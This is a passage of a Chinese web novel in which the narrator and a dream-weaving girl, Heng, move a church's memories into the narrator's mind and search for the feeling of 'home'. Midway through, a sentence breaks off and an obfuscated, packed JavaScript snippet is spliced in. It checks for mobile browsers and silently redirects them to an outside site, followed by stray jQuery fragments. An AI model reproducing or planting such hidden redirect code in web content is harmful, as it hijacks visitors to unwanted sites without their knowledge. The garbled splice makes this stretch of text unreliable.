她带我穿过走廊，又往下走了一层楼，最后在一个像是地下储藏室的地方停下。
“司徒阿姨的婚礼是在乡下办的，你可以想象那个年代的婚礼，几乎可以说是……有点野蛮。”她说，“她和她爱人都想要一个电影里的西式婚礼，她想邀请她的朋友，但朋友们都跟她一个年龄，我跟他们两个谈了下，现在我们有个大胆的想法，那就是，让大家都按照他们结婚那一年的年龄出现。”
“什么？”我有点惊讶，“你的意思是让他们回到年轻时候的相貌？”
珩点点头：“其实这在操作上没有什么难度，只需要进入每个人的大脑，把他们关于过去自己的记忆调出来，重新建模，然后让他们用他们自己的意识去操控模型。难度在于数据量。”
“数据量？”
“对，这就是我找你的原因。”
说着，她掏出一把钥匙，打开了储藏室的门。
那是一个巨大的黑漆漆的房间，她给教堂加了盏大功率超亮日光灯，灯一开，里面的空间在我眼前展开。这哪里是个储藏室，这里的容量几乎和我沉在水底的图书馆可以一拼，里面全是一排排的架子，架子多得看不见尽头，每个架子上都摆满了书。
“这是建造这个教堂所用的记忆，因为我需要不停翻阅它们，为了方便我看，我没把它们放在我自己的脑子里，而是在她大脑找了个空位，把它们放进去。”她看向我，“但是，如你所见，她快七十岁了，记性很差，我需要找个新的地方放这些记忆，正好你来了。”
她看我的神情难得有些欣赏，我一时有些受宠若惊。
“我一进你的记忆，就看上了你。”她两眼发光，“像你这样容量惊人，而又什么都没有的大脑，实在是很难得。”
……我真是谢谢她。夸人夸得跟骂人似的。
“教堂是建在我这里的，我把教堂的材料和数据都放在了这里，现在你来了，我想把它一整个都放到你家。再之后，给她们几个重建肉|体的工作，我也都交给你了。”
见我看着没有边际的储藏室，她说：“看着很多是吧，但对于你来说不算什么。”之后场景一晃，储藏室里面的书架和书，连带屋子本身，瞬间消失。
就连教堂都不见了，珩的动作实在是快，我和她又落在社区活动中心的花园里，而几个阿姨阿婆还在梦中的花园里沉睡。而她手里拿着一张照片。
“所有东西都在这里，”她手里捏着一张照片，“如果你愿意，我就把它交给你了。”
我接过照片，照片上是科隆大教堂，教堂前面模糊的一个人影，因为教堂建筑非常高大，为了把教堂都拍进去，照片里的人像很小，不太看得清楚。我将照片凑到眼前，眯着眼睛看。这张照片大概是用胶片机拍的，或者加了什么复古滤镜，色彩看起来有点古早。照片中间小小的人影，是穿着黑色长裙，长发过腰的珩。很震撼，这是一张照片，刚刚梦境里那个她，居然是真实存在过的。
四个阿姨呼呼大睡，显然还沉浸在珩制造的美梦里面。我眯着眼睛要看清照片里的珩，站在我旁边的她忽然“喂”了一声，我也不知道我在心虚什么，我从照片里收回目光，若无其事地看她。
眼前的还是我熟悉的那个珩，穿着宽大的T恤，衣服盖过裤子，两截竹竿似的又细又长的腿，底下是略显笨重的高帮篮球鞋。
她很敏锐，她的感官无处不在，她背对我的时候都能感觉到我在害怕，又怎么看不出来我的异样。
“怎么了，”她往我手里的照片看了一眼，“长头发的时候比较好看？”
送命题！送命题！送命题！召唤智力天花板大魔王，我该回答什么？
叫他没用，他也不懂，他现在正在我的胸腔里一级戒备，他对我轻易地进入别人的梦境并且接过不明私人物件这件事非常不满，现在正在安静地发大火。
长头发的时候更好看？是很好看，但是我比较习惯她现在这个样子，毕竟她的日常是把我骂得狗血淋头，她以那个形象出来骂我，我会因为事件和人物过于割裂，而断定那是个假珩，然后给她脑袋来一水管。
现在更好看？我要是这么回答，好像有些谄媚的嫌疑。
都很好看？各有各好看？显得很敷衍。
我都很喜欢？想都不用想了，我要是这么回答，她肯定白我一眼，给我一句“谁在意你喜不喜欢我又不是长给你看的”。
……
我的智能告诉我，无论我给什么答案，都有一定概率导致她对我的好感度下降。
我真是太争气了，所以我就站在那里愣着，死机了。
幸好她并没有真的在问这个问题，见我宕机，她只是看我一眼，明明她长着一张十五六岁的脸，灵魂依仗一具比我矮了整整一个头的躯体存活，她却能这般自如地用一些看小猫看小狗的眼神看我。花园里是几个阿姨均匀的呼吸和随机拔高的呼噜声，梦境里虽然有六个人，但其实只是我和她。她看我看得我有些不自在，虽然我也不知道我在不自在什么就是了。我看一眼我手里捏着的照片，生硬地把话题扳回公事上：“所以我要怎么放？”
我的话落在她空旷的梦境里，她垂了垂眸，目光在我手里的照片上快速地掠过，之后转开。她看起来很愉快，并没有要继续将刚才的事情聊下去的意思，她的目光又回到花园里的大榕树下。社区活动中心的楼房是围着这棵市园林局挂了牌的古树建的，一百多岁的细叶榕，长得比楼房还高。树下的躺椅都藏匿在它的荫蔽之下，珩走到树下的一张空椅子边上，之后坐下。我跟着她也走过去，在她身边坐下。
她往椅背上一靠，和隔壁四个旅游状态中的阿姨一样，斜躺在椅子上。我学着她这么做，她侧过脸来看我，我也看她。之后我感觉到一股熟悉的魔力靠近，她的声音忽然离我很近。我在梦中被她再次催眠。
她说：“每个人的记忆都会有个起点，这个起点就是你的‘家’，你可以近似这么理解。”
“嗯，所以我要怎么回去？”
“联想，能引发你关于‘家’的联想的线索，就是你的钥匙。”
家？说实话我没有这东西。我目前关于过去唯一一段记忆，就是我的离家出走。
“……我感
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228744|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉我是忘了。”真是尴尬。
“不是，‘家’不是一个现实的概念，是一种感觉。你只要找这种感觉就好了。”她说，“你学过生物吗？功能特别重要的蛋白，在进化上是很保守的，所有物种通用，千万年来不发生变化。你可以把‘家’理解成栖息地，每种动物都会有栖息地。你集中注意力，想想栖息地。”
好，栖息地。
“关于栖息地，你会想到什么？”
我是一个智人，我的栖息地就是我在学校附近的房子。我在脑海里重新描画它的轮廓，我的记忆力很好，我几乎重现了每天我下班回到家，从开门到走到每一个房间的图景。但是我的大脑很平静。这只是一间房子，它在物质上是我的“家”，但并没有激发多少我关于家的，和失忆前的我共有的联想。
栖息地，栖息地……
“不同人关于家的定义是不一样，你试试找一个锚点？”她小声提醒，“你想到家的时候，第一个想到的是什么？而什么东西会让你觉得你回到了家？”
家……
嘿，家。我是个无根的飘蓬，没脚的小鸟，我没有储存的内容可供调动，又怎谈得上想象。于是我又作了一点小弊。我调出了路迢班里学生写的作文，初中生还在写记叙文，从他们的叙事里，我可以构造出一个初中生的平均模型，以填补我少年记忆的空白。
挑几个看起来像碳基生物自己写的，AI生成的不要，抄优秀范文的不要，我想想——
热腾腾的饭菜……我想起的是常去的煲仔饭店老板。这个不行，换一个。奶奶颤颤巍巍的拥抱？也不行。我的背景故事里被虚构出来的奶奶，除了日复一日永无停息的打太极，没有别的动作，她和海边小学的NPC一样，是个低等智能造物。还有什么，温暖的港湾，台风天楼下停电，江面翻大浪，站在窗里面看外面的大雨，心里一点也不害怕，躺在床上，听着雨声，反而睡得更香……等等。是它了。
是安全感。我关于家的锚点是安全感，是我走进这个地方，我就能放心地闭上眼的感觉。
她好像能感受到我的思维波动，当我从混乱的搜索，落到具体的一个点上时，她的声音适时地在我周围响起。
“你回忆一件能给你同样感觉的事情？”
要找安全感，必先找不安全感，越彷徨，越混乱，越恐惧，越接近生命的坍缩点，得到的安全感就越强。我直奔目前我能想起来的最大危机去，我将自己推回到那个被人贩子追杀的夜晚，他在黑暗中找我——这段没有用。因为没有人救我。救我的是我自己。我倍速往前放了半个小时，那个男人往我心窝里踢了一脚，我几乎要死，好——这段也没有用。因为依然没有人救我。要不是我耍了点花招，我能被他追着打死。
再往后找，再往后找，警察阿姨？见到她的时候我已经基本脱险，想起她，我的记忆确实动了一下。但它只是轻微地动荡，钥匙只对了第一个齿，锁头只转过15度，之后依然卡在了原处。安全感，我再想想，我很恐惧，很彷徨，我濒临绝境，无计可施，我……我下意识地往自己的左手腕上看了一眼。